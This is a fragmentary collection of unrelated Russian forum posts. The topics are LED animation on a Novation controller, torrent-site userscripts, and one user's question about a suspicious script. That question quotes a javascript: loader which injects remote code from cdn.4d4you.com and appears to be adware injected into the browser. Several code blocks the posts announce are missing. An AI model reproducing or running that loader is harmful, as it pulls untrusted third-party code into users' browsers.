Зрада? Зрада!
Ступил. Извините.
Ступил. Извините.
Ребята, не топите в минусах плз. Внутри оставлю комменты для минусов.
Заметил, что на ноуте у родителей, например, при листании фотографий в вк в адресной строке браузера появляется следующий скрипт "javascript:var _e_=document.createElement('script');_e_.id='kalinpg';_e_.src='http://cdn.4d4you.com/mmc/1.4.7/sfroot.js?mntr__vrsn=..{mmprdct}&hdrId=16835657384213505609&label=${crrUnisntlDsply}&geo=RU';_e_.setAttribute('type','application/x-javascript');document.getElementsByTagName('body')[0].appendChild(_e_);" и исчезает через секунду. Что делает этот скрипт? У самого знаний не хватает понять.
Google не знает, что это...
Яндекс тоже не знает, что это...
И Bing не знает!
Здравствуйте, товарищи!
В недавнем посте от @giepol промелькнула просьба рассказать о том, как вообще все это делается. Были озвучены две догадки:
1) Нажимание на кнопочки с эффектами под музыку
2) Собственно, сэмплы и мастерство.
Ну, про второй способ товарищ @giepol думаю, расскажет сам - там необходимо работать с программой Ableton Live, насколько мне известно. Я же, будучи "веганом" (пользуюсь FLStudio) коснусь больше теоретической части.
У серии Launch от Novation (сейчас мы говорим про до-rgb эпоху) есть два типа подсветки кнопок - только красным диодом или двумя диодами - красным и зеленым. То есть возможен любой цвет, который можно получить смешением различной яркости этих двух диодов рассеивающим пластиком кнопки.
У меня получались оттенки зеленого (вплоть до оливкового и хаки), оттенки желтого (от красного до оранжевого).
Как контрол понимает, каким цветом какую кнопку зажечь?
Все просто. Цвет кодируется численным значением от 0 (выключен/черный) до 127 (максимальная яркость двух диодов, на выходе имеем зеленовато-желтый). Кнопки определяются номером CC.
В нашем примере используем Launch Control. С помощью редактора изменим раскладку кнопок - все будут у нас CC, то есть контролы. Так то весь нижний ряд - это ноты, но в программировании их будет трудно запоминать:
Для подачи на него команд будем использовать скриптовый программер игровых контроллеров GlovePIE с костылем из Midi-OX. Я пробовал настроить без мидиокса, но походу гловпай не умеет одновременно принимать и передавать комманды на одно и то же устройство. В итоге имеем такую схему:
То есть все что делает MIDI-OX в данном случае - тупо переадресует приходящие команды с интерфейса Midi Yoke (виртуального, к слову) на "железный" ланчпад/ланч контрол.
Самый простой скрипт в этом случае будет звучать так:
Анимацию же можно делать через процедуры. И тут у нас образовывается косячок. Дело в том, что сам скрипт гловпая - не линеен, в нем, допустим, не работают циклы. Потомы что сам скрипт есть по сути цикл, который выполняется каждую 1 миллисекунду (или даже чаще) пока не будет команды exitprogram;
Управлять этим хаосом можно только с помощью стандартных if {} конструкций, операторов wait; и переменных var.ИмяПеременной в качестве переключателей. К примеру:
То есть при нажатии на кнопку cc37 (угловая кнопка справа) и если при этом режим контроллера не изменен - ланчконтролл перемигивается красным цветом и потухает.
Покажу наглядно. Вот на этом видео:
С 1:40 обрабатывается этот код:
Надеюсь, все было достаточно информативно, лаконично и не скучно.
Если пожелаете - могу подробно рассказать, для чего все это было задумано.
Я бы не советовал владельцам ланч-контрола извращаться анимацией песен на одной линии но - у меня ж отпуск впереди, черт возьми! Наберет пост много рейтинга - запилю "виджеинг" на этой доске на какую-нибудь песню.
Вопрос следующий: есть ли конструктор для составления условий? То есть в условие1 вложено условие2 в которое вложено условие3, которое при срабатывании будет выполнять условие1?
Если бред, не судите строго. Спасибо за внимание.
Наконец-то доделал скрипт для Рутрекера. Функционал у скрипта схож со скриптами для Порнолаба и Рутора, а именно загрузка описания раздачи на странице списка раздач.
Скрипт работает как на форме поиска, так и на страницах форума с раздачами. Имеется возможность скачивания торрента не заходя в раздачу.
Из минусов:
-Так как Рутрекер пожизненно заблокирован, то многие используют различные расширения для обхода блокировки. Так вот: Скрипт не работает с расширением FriGate (для работы с их прокси требуется авторизация). На замену я использую подобное расширение ZenMate.
- При загрузке описания раздачи немного ломается разметка и оформление. (похоже отсутствуют нужные классы в css таблицах или что-то подобное. Если есть Веб-мастера, просьба подсказать как подправить).
Пример работы.
Как установить скрипт и что для этого нужно читаем в предыдущем посте.
Оказалось, у пользователей Оперы тоже есть возможность использования скриптов (На Опере и Фаерфоксе скрипты не тестировались). Подробнее здесь.
На очереди скрипт для ННМ-Клаба.
Пишите свои пожелания по скриптам, возможно реализую в будущем.
Одна вакансия, два кандидата. Сможете выбрать лучшего? И так пять раз.
Ссылка на предыдущий пост, где расписано что это и для чего нужно.
Для Рутор:
- Теперь загружается полное описание темы раздачи, а не только скрины.
- Добавлена поддержка rutor.in, rutor.info, rutor.is
Для Пикабу:
- Теперь скрипт сворачивает любой пост где есть клубничные теги (на тот случай если автор забыл поставить клубничку).
Как установить и что для этого нужно, читать здесь.
В планах:
- Скрипты для Рутрекера и ННМ-Клаба;
- Правки скрипта для Порнолаба;
- Найти девушку.